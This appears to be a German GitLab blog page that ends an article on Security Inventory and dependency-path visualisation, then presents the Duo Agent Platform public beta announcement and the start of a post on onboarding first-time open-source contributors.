Security Inventory zeigt auf hoher Ebene, wo die Risiken liegen; die Dependency Path-Visualisierung zeigt, wie man sie behebt. Wenn eine Schwachstelle tief in einer Abhängigkeitskette entdeckt wird, kann die Identifizierung der richtigen Lösung kompliziert sein. Die meisten Sicherheitstools heben das betroffene Paket hervor, erklären aber nicht, wie es in die Codebasis gelangt ist. Entwickler(innen) müssen raten, welche Abhängigkeiten direkt eingeführt werden und welche transitiv eingezogen werden, was es schwierig macht zu bestimmen, wo eine Änderung erforderlich ist – oder schlimmer noch: Patches anzuwenden, die die Grundursache nicht beheben. Unsere neue Dependency Path-Visualisierung zeigt nach einem SCA-Scan den vollständigen Weg auf: vom Top-Level-Paket zur anfälligen Komponente. Diese wird manchmal auch als Abhängigkeitsgraph bezeichnet. Diese Klarheit ist unerlässlich. Denn tief eingebettete Schwachstellen sind in Abhängigkeitsketten weit verbreitet. Die Funktion ist direkt in den GitLab-Workflow integriert. Dadurch erhalten Entwickler(innen) umsetzbare Einblicke ohne Kontextwechsel oder Rätselraten. Sicherheitsteams können Probleme effektiver priorisieren. Gleichzeitig haben Entwickler(innen) die Gewissheit, dass ihre Behebungen die Grundursachen angehen.

Entwicklerorientierte Sicherheit: Risiken strategisch mindern

Diese Funktionen sind Teil von GitLabs umfassenderer Strategie: Sicherheit innerhalb derselben Plattform bereitzustellen, in der Code geplant, erstellt und bereitgestellt wird. GitLab bettet Sicherheitseinblicke direkt in den DevSecOps-Workflow ein. Das reduziert Reibung und fördert die Zusammenarbeit zwischen Entwicklungs- und Sicherheitsteams. Security Inventory und Dependency Path-Visualisierung bieten komplementäre Perspektiven: Security Inventory ermöglicht skalierungsbewusste Überwachung, Dependency Path unterstützt präzise Korrekturen. Diese Kombination hilft Teams, das Wichtigste zu priorisieren und Lücken zu schließen. Und das ohne neue Tools oder komplexe Integrationen.

Starte noch heute mit Security Inventory und Dependency Path-Visualisierung! Melde dich für eine kostenlose Testversion von GitLab Ultimate an.

Weiterlesen

GitLab Duo Agent Platform jetzt in Public Beta: KI-Orchestrierung der nächsten Generation

2025-07-17T00:00:00.000Z

Das ist die Zukunft der Software-Entwicklung.

Bei GitLab gestalten wir die Zukunft der Software-Entwicklung neu als Zusammenarbeit zwischen Menschen und KI. Entwickler(innen) konzentrieren sich auf die Lösung technischer, komplexer Probleme und treiben Innovationen voran, während KI-Agenten die routinemäßigen, sich wiederholenden Aufgaben übernehmen, die den Fortschritt verlangsamen. Entwickler(innen) sind frei, neue Ideen im Code zu deutlich geringeren Kosten zu erkunden, Bug-Backlogs gehören der Vergangenheit an, und die Nutzer(innen) der von dir erstellten Software genießen eine benutzerfreundlichere, zuverlässigere und sicherere Erfahrung. Das ist kein ferner Traum. Wir bauen diese Realität schon heute. Sie heißt GitLab Duo Agent Platform.

Was ist GitLab Duo Agent Platform?

GitLab Duo Agent Platform ist unsere DevSecOps-Orchestrierungsplattform der nächsten Generation, welche entwickelt wurde, um die asynchrone Zusammenarbeit zwischen Entwickler(innen) und KI-Agenten zu ermöglichen. Sie wird deinen Entwicklungsworkflow von isolierten linearen Prozessen in eine dynamische Zusammenarbeit verwandeln, bei der spezialisierte KI-Agenten in jeder Phase des Software-Entwicklungslebenszyklus an deiner Seite und mit deinem Team arbeiten. Es wird so sein, als hättest du ein unbegrenztes Team von Kolleg(inn)en zur Verfügung.

Stell dir vor, du delegierst eine komplexe Refaktorierungsaufgabe an einen Software-Entwickler-Agenten, während gleichzeitig ein Sicherheitsanalyse-Agent nach Schwachstellen sucht und ein Deep-Research-Agent den Fortschritt über deine Repository-Historie hinweg analysiert. All dies geschieht parallel, nahtlos orchestriert innerhalb von GitLab.

Heute kündigen wir die Einführung der ersten Public Beta von GitLab Duo Agent Platform für GitLab.com und selbstverwaltete GitLab Premium- und Ultimate-Kund(inn)en an. Dies ist nur die erste einer Reihe von Updates, die verbessern werden, wie Software geplant, erstellt, verifiziert und bereitgestellt wird, während wir menschlichen Einfallsreichtum durch intelligente Automatisierung verstärken.

Diese erste Beta konzentriert sich auf die Freischaltung der IDE-Erfahrung über die GitLab VS Code-Erweiterung und das JetBrains IDEs-Plugin; nächsten Monat planen wir, die Duo Agent Platform-Erfahrung in die GitLab-Anwendung zu bringen und unsere IDE-Unterstützung zu erweitern.

Lass mich ein wenig mehr über unsere Vision für die Roadmap von heute bis zur allgemeinen Verfügbarkeit, die für später in diesem Jahr geplant ist, berichten. Details zur ersten Beta findest du unten.

Schau dir dieses Video an oder lies weiter, um zu erfahren, was jetzt verfügbar ist und was demnächst kommen wird. Wenn du dann bereit bist, mit Duo Agent Platform zu arbeiten, erfährst du hier, wie das mit der Public Beta geht.

GitLabs einzigartige Position als Orchestrierungsplattform

GitLab steht im Mittelpunkt des Entwicklungslebenszyklus als System of Record für Engineering-Teams und orchestriert die gesamte Reise vom Konzept zur Produktion für über 50 Millionen registrierte Nutzer(innen), einschließlich der Hälfte der Fortune 500 über alle Geografien hinweg. Dies umfasst über 10.000 zahlende Kund(inn)en in allen Segmenten und Branchen, einschließlich öffentlicher Institutionen.

Dies gibt GitLab etwas, was kein Wettbewerber bieten kann: ein umfassendes Verständnis von allem, was es braucht, um Software zu liefern. Wir bringen deine Projektpläne, Code, Testläufe, Sicherheitsscans, Compliance-Prüfungen und CI/CD-Konfigurationen zusammen, um nicht nur dein Team zu unterstützen, sondern auch die Zusammenarbeit mit KI-Agenten zu orchestrieren, die du kontrollierst.

Als intelligente, einheitliche DevSecOps-Plattform speichert GitLab den gesamten Kontext deiner Software-Engineering-Praxis an einem Ort. Wir werden diese einheitlichen Daten über unseren Knowledge Graph KI-Agenten zugänglich machen. Jeder Agent, den wir erstellen, hat automatischen Zugriff auf diesen SDLC-verbundenen Datensatz und bietet einen reichhaltigen Kontext, sodass Agenten fundierte Empfehlungen abgeben und Maßnahmen ergreifen können, die deinen organisatorischen Standards entsprechen.

Hier ist ein Beispiel für diesen Vorteil in Aktion. Hast du jemals versucht herauszufinden, wie genau ein Projekt über Dutzende, wenn nicht Hunderte von Stories und Issues verläuft, die von allen beteiligten Entwickler(inne)n bearbeitet werden? Unser Deep Research Agent nutzt den GitLab Knowledge Graph und semantische Suchfunktionen, um dein Epic und alle damit verbundenen Issues zu durchsuchen, die zugehörige Codebasis und den umgebenden Kontext zu erkunden. Er korreliert schnell Informationen über deine Repositories, Merge Requests und Deployment-Historie hinweg. Dies liefert kritische Einblicke, die eigenständige Tools nicht bieten können und die menschliche Entwickler(innen) Stunden kosten würden, um sie zu entdecken.

Unsere strategische Entwicklung von KI-Features zur Agenten-Orchestrierung

GitLab Duo begann als Add-on, das generative KI zu Entwickler(inne)n über Duo Pro und Enterprise brachte. Mit GitLab 18.0 ist es jetzt in die Plattform integriert. Wir haben Duo Agentic Chat und Code Suggestions für alle Premium- und Ultimate-Nutzer(innen) freigeschaltet, und jetzt bieten wir sofortigen Zugang zu Duo Agent Platform.

Wir haben die Engineering-Investitionen erhöht und beschleunigen die Bereitstellung, wobei jeden Monat leistungsstarke neue KI-Features landen. Aber wir bauen nicht nur einen weiteren Coding-Assistenten. GitLab Duo wird zu einer Agenten-Orchestrierungsplattform, auf der du KI-Agenten erstellen, anpassen und bereitstellen kannst, die an deiner Seite arbeiten und problemlos mit anderen Systemen interoperieren, was die Produktivität dramatisch steigert.

„GitLab Duo Agent Platform verbessert unseren Entwicklungsworkflow mit KI, die unsere Codebasis und unsere Organisation wirklich versteht. GitLab Duo KI-Agenten in unserem System of Record für Code, Tests, CI/CD und den gesamten Software-Entwicklungslebenszyklus eingebettet zu haben, steigert Produktivität, Geschwindigkeit und Effizienz. Die Agenten sind zu echten Mitarbeitern unserer Teams geworden, und ihre Fähigkeit, Absichten zu verstehen, Probleme zu zerlegen und Maßnahmen zu ergreifen, befreit unsere Entwickler(innen), sich den aufregenden, innovativen Arbeiten zu widmen, die sie lieben." - Bal Kang, Engineering Platform Lead bei NatWest

Agenten, die sofort funktionieren

Wir führen Agenten ein, die vertraute Teamrollen widerspiegeln. Diese Agenten können in GitLab suchen, lesen, erstellen und vorhandene Artefakte ändern. Denk an diese als Agenten, mit denen du einzeln interagieren kannst, die auch als Bausteine fungieren, die du anpassen kannst, um deine eigenen Agenten zu erstellen. Wie deine Teammitglieder haben Agenten definierte Spezialisierungen, wie Softwareentwicklung, Testen oder technisches Schreiben. Als Spezialisten nutzen sie den richtigen Kontext und die richtigen Tools, um konsequent die gleichen Arten von Aufgaben zu erledigen, wo immer sie eingesetzt werden.

Hier sind einige der Agenten, die wir heute bauen:

Chat-Agent (jetzt in Beta): Nimmt Anfragen in natürlicher Sprache entgegen, um dem Nutzer Informationen und Kontext bereitzustellen. Kann allgemeine Entwicklungsaufgaben ausführen, wie das Lesen von Issues oder Code-Diffs. Als Beispiel kannst du Chat bitten, einen fehlgeschlagenen Job zu debuggen, indem du die Job-URL bereitstellst.

Software-Entwickler-Agent (jetzt in Beta): Arbeitet an zugewiesenen Elementen, indem er Code-Änderungen in virtuellen Entwicklungsumgebungen erstellt und Merge Requests zur Überprüfung öffnet.
Produktplanungs-Agent: Priorisiert Produkt-Backlogs, weist Arbeitselemente menschlichen und agentischen Teammitgliedern zu und liefert Projekt-Updates über festgelegte Zeiträume.
Software-Test-Ingenieur-Agent: Testet neue Code-Beiträge auf Bugs und validiert, ob gemeldete Probleme gelöst wurden.
Code-Review-Agent: Führt Code-Reviews nach Teamstandards durch, identifiziert Qualitäts- und Sicherheitsprobleme und kann Code mergen, wenn er bereit ist.
Plattform-Ingenieur-Agent: Überwacht GitLab-Deployments, einschließlich GitLab Runners, verfolgt die CI/CD-Pipeline-Gesundheit und meldet Performance-Probleme an menschliche Plattform-Engineering-Teams.
Sicherheitsanalyse-Agent: Findet Schwachstellen in Codebasen und bereitgestellten Anwendungen und implementiert Code- und Konfigurationsänderungen, um Sicherheitsschwächen zu beheben.
Deployment-Ingenieur-Agent: Stellt Updates in der Produktion bereit, überwacht ungewöhnliches Verhalten und macht Änderungen rückgängig, die sich auf die Anwendungsleistung oder -sicherheit auswirken.
Deep-Research-Agent: Führt umfassende, quellenübergreifende Analysen über dein gesamtes Entwicklungsökosystem durch.

Was diese Agenten leistungsstark macht, ist ihr nativer Zugriff auf GitLabs umfassendes Toolkit. Heute haben wir über 25 Tools, von Issues und Epics bis zu Merge Requests und Dokumentation, mit mehr in Sicht. Im Gegensatz zu externen KI-Tools, die mit begrenztem Kontext arbeiten, arbeiten unsere Agenten als echte Teammitglieder mit vollständigen Plattformberechtigungen unter deiner Aufsicht.

In den kommenden Monaten wirst du auch in der Lage sein, diese Agenten zu modifizieren, um den Bedürfnissen deiner Organisation gerecht zu werden. Zum Beispiel wirst du spezifizieren können, dass ein Software-Test-Ingenieur-Agent Best Practices für ein bestimmtes Framework oder eine bestimmte Methodik befolgt, seine Spezialisierung vertieft und ihn zu einem noch wertvolleren Teammitglied macht.

Flows orchestrieren komplexe Agenten-Aufgaben

Zusätzlich zu einzelnen Agenten führen wir Agenten-Flows ein. Betrachte diese als komplexere Workflows, die mehrere Agenten mit vorgefertigten Anweisungen, Schritten und Aktionen für eine bestimmte Aufgabe umfassen können, die autonom ausgeführt werden kann.

Während du Flows für grundlegende Aufgaben erstellen kannst, die für Einzelpersonen üblich sind, brillieren sie wirklich, wenn sie auf komplexe, spezialisierte Aufgaben angewendet werden, die normalerweise Stunden an Koordination und Aufwand erfordern würden. Flows helfen dir, komplexe Aufgaben schneller zu erledigen und in vielen Fällen asynchron ohne menschliche Intervention.

Flows haben spezifische Trigger für die Ausführung. Jeder Flow enthält eine Reihe von Schritten, und jeder Schritt hat detaillierte Anweisungen, die einem spezialisierten Agenten sagen, was zu tun ist. Dieser granulare Ansatz ermöglicht es dir, den Agenten im Flow präzise Anweisungen zu geben. Durch die Definition von Anweisungen mit mehr Details und die Einrichtung strukturierter Entscheidungspunkte können Flows helfen, die inhärente Variabilität in KI-Antworten zu lösen und gleichzeitig die Notwendigkeit zu eliminieren, wiederholt die gleichen Anforderungen zu spezifizieren, was konsistentere und vorhersagbarere Ergebnisse ohne Benutzerkonfiguration freischaltet.

Hier sind einige Beispiele für sofort einsatzbereite Flows, die wir bauen:

Software-Entwicklungs-Flow (jetzt in Beta): Orchestriert mehrere Agenten, um Code-Änderungen End-to-End zu planen, zu implementieren und zu testen, und hilft dabei zu transformieren, wie Teams Features vom Konzept zur Produktion liefern.

Issue-to-MR-Flow: Konvertiert automatisch Issues in umsetzbare Merge Requests, indem Agenten koordiniert werden, um Anforderungen zu analysieren, umfassende Implementierungspläne vorzubereiten und Code zu generieren.

CI-Datei-Konvertierungs-Flow: Vereinfacht Migrations-Workflows, indem Agenten bestehende CI/CD-Konfigurationen analysieren und sie intelligent in das GitLab CI-Format mit vollständiger Pipeline-Kompatibilität konvertieren.

Such- und Ersetzungs-Flow: Entdeckt und transformiert Code-Muster über Codebasen hinweg, indem Projektstrukturen systematisch analysiert, Optimierungsmöglichkeiten identifiziert und präzise Ersetzungen ausgeführt werden.

Incident-Response- und Root-Cause-Analyse-Flow: Orchestriert die Incident-Response durch Korrelation von Systemdaten, Koordination spezialisierter Agenten für die Root-Cause-Analyse und Ausführung genehmigter Abhilfemaßnahmen, während menschliche Stakeholder während des gesamten Lösungsprozesses informiert bleiben.

Hier verfolgt GitLab Duo Agent Platform einen wirklich einzigartigen Ansatz im Vergleich zu anderen KI-Lösungen. Wir geben dir nicht nur vorgefertigte Agenten. Wir geben dir auch die Möglichkeit, Agenten-Flows zu erstellen, anzupassen und zu teilen, die perfekt zu deinen individuellen und organisatorischen Bedürfnissen passen. Und mit Flows kannst du dann Agenten einen spezifischen Ausführungsplan für allgemeine und komplexe Aufgaben geben.

Wir glauben, dass dieser Ansatz leistungsstärker ist als spezialisierte Agenten zu bauen, wie es unsere Wettbewerber tun, denn jede Organisation hat unterschiedliche Workflows, Codierungsstandards, Sicherheitsanforderungen und Geschäftslogik. Generische KI-Tools können deinen spezifischen Kontext nicht verstehen, aber GitLab Duo Agent Platform wird so angepasst werden können, dass sie genau so funktioniert, wie dein Team arbeitet.

Warum Agenten und Agenten-Flows in GitLab Duo Agent Platform bauen?

Es geht schnell. Du kannst Agenten und komplexe Agenten-Flows in Duo Agent Platform schnell und einfach mit einem schnellen, deklarativen Erweiterbarkeitsmodell und UI-Unterstützung erstellen.

Integrierte Rechenleistung. Mit Duo Agent Platform musst du dich nicht mehr um den Aufwand kümmern, deine eigene Infrastruktur für Agenten aufzubauen: Rechenleistung, Netzwerk und Speicher sind alle integriert.

SDLC-Events. Deine Agenten können automatisch bei gängigen Ereignissen aufgerufen werden: defekte Pipeline, fehlgeschlagenes Deployment, erstelltes Issue usw.

Sofortiger Zugriff. Du kannst mit deinen Agenten überall in GitLab oder unserem IDE-Plugin interagieren: weise ihnen Issues zu, @erwähne sie in Kommentaren und chatte mit ihnen überall, wo Duo Chat verfügbar ist.

Unterstützung integrierter und benutzerdefinierter Modelle. Deine Agenten haben automatischen Zugriff auf alle von uns unterstützten Modelle, und Nutzer(innen) können spezifische Modelle für spezifische Aufgaben auswählen. Wenn du Duo Agent Platform mit deinem eigenen selbst gehosteten Modell verbinden möchtest, kannst du das auch tun!

Model Context Protocol (MCP) Endpunkte. Jeder Agent und Flow kann über native MCP-Endpunkte aufgerufen oder ausgelöst werden, sodass du dich von überall aus mit deinen Agenten und Flows verbinden und zusammenarbeiten kannst, einschließlich beliebter Tools wie Claude Code, Cursor, Copilot und Windsurf.

Observability und Sicherheit. Schließlich bieten wir integrierte Observability und Nutzungs-Dashboards, damit du genau sehen kannst, wer, wo, was und wann Agenten in deinem Namen Aktionen durchgeführt haben.

Eine von der Community getriebene Zukunft

Community-Beiträge haben lange Zeit GitLabs Innovation und Softwareentwicklung angetrieben. Wir freuen uns, mit unserer Community bei der Einführung des KI-Katalogs zusammenzuarbeiten. Der KI-Katalog ermöglicht es dir, Agenten und Flows innerhalb deiner Organisation und im gesamten GitLab-Ökosystem in unserer kommenden Beta zu erstellen und zu teilen.

Wir glauben, dass die wertvollsten KI-Anwendungen wahrscheinlich von dir, unserer Community, entstehen werden, dank deiner täglichen Anwendung von GitLab Duo Agent Platform zur Lösung zahlreicher realer Anwendungsfälle. Durch die Ermöglichung des nahtlosen Teilens von Agenten und Flows schaffen wir einen Netzwerkeffekt, bei dem jeder Beitrag die kollektive Intelligenz und den Wert der Plattform erhöht. Im Laufe der Zeit glauben wir, dass die wertvollsten Anwendungsfälle von Agent Platform aus unserer florierenden GitLab-Community kommen werden.

Heute verfügbar in GitLab Duo Agent Platform in Public Beta

Die Public Beta von GitLab Duo Agent Platform ist jetzt für Premium- und Ultimate-Kund(inn)en mit diesen Funktionen verfügbar:

Software-Entwicklungs-Flow: Unser erster Flow orchestriert Agenten beim Sammeln umfassenden Kontexts, beim Klären von Unklarheiten mit menschlichen Entwickler(inne)n und beim Ausführen strategischer Pläne, um präzise Änderungen an deiner Codebasis und deinem Repository vorzunehmen. Er nutzt dein gesamtes Projekt, einschließlich seiner Struktur, Codebasis und Historie, zusammen mit zusätzlichem Kontext wie GitLab-Issues oder Merge Requests, um die Produktivität der Entwickler(innen) zu steigern.

Neue verfügbare Agenten-Tools: Agenten haben jetzt Zugriff auf mehrere Tools, um ihre Arbeit zu erledigen, darunter:

Dateisystem (Lesen, Erstellen, Bearbeiten, Dateien finden, Auflisten, Grep)
Befehlszeile ausführen*
Issues (Auflisten, Abrufen, Kommentare abrufen, Bearbeiten*, Erstellen*, Kommentare hinzufügen/aktualisieren*)
Epics (Abrufen, Kommentare abrufen)
MR (Abrufen, Kommentare abrufen, Diff abrufen, Erstellen, Aktualisieren)
Pipeline (Job-Logs, Pipeline-Fehler)
Projekt (Abrufen, Datei abrufen)
Commits (Abrufen, Auflisten, Kommentare abrufen, Diff abrufen)
Suche (Issue-Suche)
Secure (Schwachstellen auflisten)
Dokumentationssuche *=Erfordert Benutzergenehmigung

GitLab Duo Agentic Chat in der IDE: Duo Agentic Chat verwandelt die Chat-Erfahrung von einem passiven Q&A-Tool in einen aktiven Entwicklungspartner direkt in deiner IDE.

Iteratives Feedback und Chat-Verlauf: Duo Agentic Chat unterstützt jetzt Chat-Verlauf und iteratives Feedback und verwandelt den Agenten in einen zustandsbehafteten, gesprächsfähigen Partner. Dies fördert Vertrauen und ermöglicht es Entwickler(inne)n, komplexere Aufgaben zu delegieren und korrigierende Anleitung zu bieten.

Optimierte Delegation mit Slash-Befehlen: Erweiterte, leistungsstärkere Slash-Befehle wie /explain, /tests und /include erstellen eine „Delegationssprache" für schnelle und präzise Absichten. Der /include-Befehl ermöglicht die explizite Injektion von Kontext aus bestimmten Dateien, offenen Issues, Merge Requests oder Abhängigkeiten direkt in den Arbeitsspeicher des Agenten, macht den Agenten leistungsfähiger und lehrt Nutzer(innen), wie sie optimalen Kontext für qualitativ hochwertige Antworten bereitstellen.

Personalisierung durch benutzerdefinierte Regeln: Neue benutzerdefinierte Regeln ermöglichen es Entwickler(inne)n, das Agentenverhalten an individuelle und Teampräferenzen anzupassen, indem sie natürliche Sprache verwenden, zum Beispiel Entwicklungs-Styleguides. Dieser grundlegende Mechanismus formt die Persönlichkeit des Agenten zu einem personalisierten Assistenten und entwickelt sich zu spezialisierten Agenten basierend auf benutzerdefinierten Präferenzen und organisatorischen Richtlinien.

Unterstützung für GitLab Duo Agentic Chat in JetBrains IDE: Um Entwickler(innen) dort zu treffen, wo sie arbeiten, haben wir die Unterstützung von Duo Agentic Chat auf die JetBrains-Familie von IDEs erweitert, einschließlich IntelliJ, PyCharm, GoLand und Webstorm. Dies ergänzt unsere bestehende Unterstützung für VS Code. Bestehende Nutzer(innen) erhalten automatisch agentische Funktionen, während neue Nutzer(innen) das Plugin vom JetBrains Marketplace installieren können.

MCP-Client-Unterstützung: Duo Agentic Chat kann jetzt als MCP-Client fungieren und sich mit remote und lokal laufenden MCP-Servern verbinden.

Diese Fähigkeit ermöglicht es dem Agenten, sich mit Systemen jenseits von GitLab wie Jira, ServiceNow und ZenDesk zu verbinden, um Kontext zu sammeln oder Aktionen durchzuführen. Jeder Service, der sich über MCP exponiert, kann jetzt Teil des Skillsets des Agenten werden. Der offizielle GitLab MCP-Server kommt bald!

GitLab Duo Agentic Chat in der GitLab Web-UI. Duo Agentic Chat ist jetzt auch direkt in der GitLab Web-UI verfügbar. Dieser entscheidende Schritt entwickelt den Agenten von einem Coding-Assistenten zu einem echten DevSecOps-Agenten, da er Zugriff auf reichhaltigen Nicht-Code-Kontext erhält, wie Issues und Merge-Request-Diskussionen, was es ihm ermöglicht, das „Warum" hinter der Arbeit zu verstehen. Über das Verständnis des Kontexts hinaus kann der Agent Änderungen direkt aus der Web-UI vornehmen, wie z.B. automatisch Issue-Status aktualisieren oder Merge-Request-Beschreibungen bearbeiten.

Bald verfügbar in GitLab Duo Agent Platform

In den kommenden Wochen werden wir neue Funktionen für Duo Agent Platform veröffentlichen, einschließlich weiterer sofort einsatzbereiter Agenten und Flows. Diese werden die Plattform in die GitLab-Erfahrung bringen, die du heute liebst, und noch größere Anpassung und Erweiterbarkeit ermöglichen, was die Produktivität für unsere Kund(inn)en verstärkt:

Integrierte GitLab-Erfahrung: Aufbauend auf den in 18.2 verfügbaren IDE-Erweiterungen erweitern wir Agenten und Flows innerhalb der GitLab-Plattform. Diese tiefere Integration wird die Möglichkeiten erweitern, wie du synchron und asynchron mit Agenten zusammenarbeiten kannst. Du wirst in der Lage sein, Issues direkt an Agenten zuzuweisen, sie in GitLab Duo Chat zu @erwähnen und sie nahtlos von überall in der Anwendung aufzurufen, während die MCP-Konnektivität von deinem bevorzugten Entwicklungstool beibehalten wird. Diese native Integration verwandelt Agenten in echte Entwicklungsteammitglieder, die in ganz GitLab zugänglich sind.
Agenten-Observability: Da Agenten autonomer werden, bauen wir umfassende Sichtbarkeit in ihre Aktivität auf, während sie durch Flows fortschreiten, was es dir ermöglicht, ihre Entscheidungsprozesse zu überwachen, Ausführungsschritte zu verfolgen und zu verstehen, wie sie deine Entwicklungsherausforderungen interpretieren und darauf reagieren. Diese Transparenz im Agentenverhalten schafft Vertrauen und Zuversicht, während es dir ermöglicht, Workflows zu optimieren, Engpässe zu identifizieren und sicherzustellen, dass Agenten genau wie beabsichtigt funktionieren.
KI-Katalog: In Anerkennung der Tatsache, dass großartige Lösungen aus Community-Innovation entstehen, werden wir bald die Public Beta unseres KI-Katalogs einführen - ein Marktplatz, der es dir ermöglicht, Duo Agent Platform mit spezialisierten Agenten und Flows zu erweitern, die von GitLab und im Laufe der Zeit von der breiteren Community stammen. Du wirst in der Lage sein, diese Lösungen schnell in GitLab bereitzustellen und dabei den Kontext über deine Projekte und Codebasis hinweg zu nutzen.
Knowledge Graph: Unter Nutzung von GitLabs einzigartigem Vorteil als System of Record für Quellcode und seinen umgebenden Kontext bauen wir einen umfassenden Knowledge Graph auf, der nicht nur Dateien und Abhängigkeiten über die Codebasis hinweg abbildet, sondern diese Karte auch für Nutzer(innen) navigierbar macht, während KI-Abfragezeiten beschleunigt und die Genauigkeit erhöht wird. Diese Grundlage ermöglicht es GitLab Duo-Agenten, Beziehungen über deine gesamte Entwicklungsumgebung hinweg schnell zu verstehen, von Code-Abhängigkeiten bis zu Deployment-Mustern, und ermöglicht schnellere und präzisere Antworten auf komplexe Fragen.

Agenten und Flows erstellen und bearbeiten: Im Verständnis, dass jede Organisation einzigartige Workflows und Anforderungen hat, entwickeln wir leistungsstarke Funktionen zur Erstellung und Bearbeitung von Agenten und Flows, die eingeführt werden, wenn der KI-Katalog reift. Du wirst in der Lage sein, Agenten und Flows zu erstellen und zu modifizieren, damit sie genau so funktionieren, wie deine Organisation arbeitet, und eine tiefe Anpassung über Duo Agent Platform hinweg liefern, die qualitativ hochwertigere Ergebnisse und erhöhte Produktivität ermöglicht.

Offizieller GitLab MCP-Server: In der Erkenntnis, dass Entwickler(innen) über mehrere Tools und Umgebungen hinweg arbeiten, bauen wir einen offiziellen GitLab MCP-Server, der es dir ermöglicht, über MCP auf alle deine Agenten und Flows zuzugreifen. Du wirst in der Lage sein, dich mit deinen Agenten und Flows von überall aus zu verbinden und zusammenzuarbeiten, wo MCP unterstützt wird, einschließlich beliebter Tools wie Claude Code, Cursor, Copilot und Windsurf, was eine nahtlose KI-Zusammenarbeit unabhängig von deiner bevorzugten Entwicklungsumgebung ermöglicht.
GitLab Duo Agent Platform CLI: Unsere kommende CLI ermöglicht es dir, Agenten aufzurufen und Flows auf der Befehlszeile auszulösen, wobei GitLabs reichhaltiger Kontext über den gesamten Software-Entwicklungslebenszyklus genutzt wird - von Code-Repositories und Merge Requests bis zu CI/CD-Pipelines und Issue-Tracking.

Jetzt loslegen

GitLab Premium- und Ultimate-Kund(inn)en in GitLab.com- und selbstverwalteten Umgebungen, die GitLab 18.2 verwenden, können Duo Agent Platform sofort nutzen (Beta- und experimentelle Funktionen für GitLab Duo müssen aktiviert sein).
Nutzer(innen) sollten die VS Code-Erweiterung oder das JetBrains IDEs-Plugin herunterladen und unserem Leitfaden zur Verwendung von GitLab Duo Agentic Chat folgen, einschließlich der Duo Chat Slash-Befehle.

Neu bei GitLab? Jeder kann an unserer kommenden (englischsprachigen) Technischen Demo teilnehmen, um GitLab Duo Agent Platform in Aktion zu sehen. Um GitLab Duo Agent Platform selbst praktisch zu erleben, melde dich noch heute für eine kostenlose Testversion an.

Dieser Blogbeitrag enthält „zukunftsgerichtete Aussagen" im Sinne von Abschnitt 27A des Securities Act von 1933 in der geänderten Fassung und Abschnitt 21E des Securities Exchange Act von 1934. Obwohl wir glauben, dass die in den zukunftsgerichteten Aussagen in diesem Blogbeitrag zum Ausdruck gebrachten Erwartungen angemessen sind, unterliegen sie bekannten und unbekannten Risiken, Unsicherheiten, Annahmen und anderen Faktoren, die dazu führen können, dass die tatsächlichen Ergebnisse oder Resultate wesentlich von den in den zukunftsgerichteten Aussagen ausgedrückten oder implizierten zukünftigen Ergebnissen oder Resultaten abweichen.

Weitere Informationen zu Risiken, Unsicherheiten und anderen Faktoren, die dazu führen könnten, dass die tatsächlichen Ergebnisse und Resultate wesentlich von den in den zukunftsgerichteten Aussagen in diesem Blogbeitrag enthaltenen oder betrachteten abweichen, finden sich unter der Überschrift „Risikofaktoren" und an anderer Stelle in den Einreichungen und Berichten, die wir bei der Securities and Exchange Commission einreichen. Wir übernehmen keine Verpflichtung, zukunftsgerichtete Aussagen zu aktualisieren oder zu überarbeiten oder über Ereignisse oder Umstände nach dem Datum dieses Blogbeitrags zu berichten oder das Eintreten unvorhergesehener Ereignisse widerzuspiegeln, es sei denn, dies ist gesetzlich vorgeschrieben.

Von 17 % auf 100 %: Wie wir das Open-Source-Onboarding revolutionierten

2025-07-15T00:00:00.000Z

GitLabs Contributor Success Team stand vor einer Herausforderung. Während unsere wiederkehrenden Open-Source-Mitwirkenden mehr Code-Änderungen mergten und an tiefgreifenden Funktionen zusammenarbeiteten, hatten Erstmitwirkende Schwierigkeiten, den Einstieg zu finden. Wir wussten, dass viele Neulinge in Open Source oft aufgaben oder nie um Hilfe baten. Aber als Verfechter von GitLabs Mission, allen das Mitwirken zu ermöglichen, wollten wir es besser machen.

Wir begannen Forschungsstudien über Open-Source-Mitwirkende bei GitLab durchzuführen. Dann verbesserten wir die Stolpersteine. Im Januar erreichten wir einen Rekord von 184 einzigartigen Community-Mitwirkenden bei GitLab in einem einzigen Monat und übertrafen damit erstmals unser Teamziel von 170.

Drei Monate später brachen wir den Rekord erneut mit 192.

So haben wir GitLabs eigene Tools genutzt, um das Neueinsteiger-Dilemma zu lösen und unsere Open-Source-Community wachsen zu lassen.

Was wir aus der Untersuchung von Erstmitwirkenden gelernt haben

2023 führten wir die erste Nutzerstudie über GitLab Open-Source-Mitwirkende durch. Wir beobachteten sechs Teilnehmende, die noch nie bei GitLab mitgewirkt hatten, bei ihrem ersten Versuch. Sie führten Tagebuchstudien durch und nahmen an Zoom-Interviews teil, in denen sie ihre Erfahrungen detailliert schilderten.

Die Teilnehmenden sagten uns:

Die Mitwirkenden-Dokumentation war verwirrend
Der Einstieg fühlte sich überwältigend an
Es war nicht klar, wie oder wo man Hilfe finden konnte

Nur eine(r) der sechs Teilnehmenden schaffte es während der Studie erfolgreich, einen Code-Beitrag zu GitLab zu mergen.

Es wurde klar, dass wir uns auf die Onboarding-Erfahrung konzentrieren mussten, wenn wir wollten, dass neue Mitwirkende Erfolg haben. Also haben wir iteriert!

Unser Team verbrachte das nächste Jahr damit, ihre Herausforderungen anzugehen. Wir nutzten GitLab-Tools wie Issue-Templates, geplante Pipelines, Webhooks und die GitLab Query Language (GLQL), um eine innovative halbautomatisierte Onboarding-Lösung zu entwickeln.

2025 führten wir eine Folgestudie mit neuen Teilnehmenden durch, die noch nie einen Beitrag zu GitLab geleistet hatten. Alle 10 Teilnehmenden erstellten und mergten erfolgreich Beiträge zu GitLab – eine Erfolgsquote von 100 %. Das Feedback zeigte große Wertschätzung für den neuen Onboarding-Prozess, die Geschwindigkeit, mit der Maintainer bei Mitwirkenden nachfragten, und die Anerkennung, die wir Mitwirkenden anboten.

Noch besser: Die Teilnehmenden teilten mit, wie viel Spaß sie beim Mitwirken hatten: „Ich fühlte einen kleinen Adrenalinstoß bei dem Gedanken, sagen zu können: ‚Ich habe beim Aufbau von GitLab geholfen.'"

Wir haben persönliches Onboarding mit GitLab aufgebaut

Unsere Lösung begann mit Engagement. Um Neulingen beim Einstieg zu helfen, führten wir einen persönlichen Onboarding-Prozess ein, der jeden Mitwirkenden mit einem Community-Maintainer verbindet.

Wir erstellten ein Issue-Template mit einer klaren Checkliste von Aufgaben.

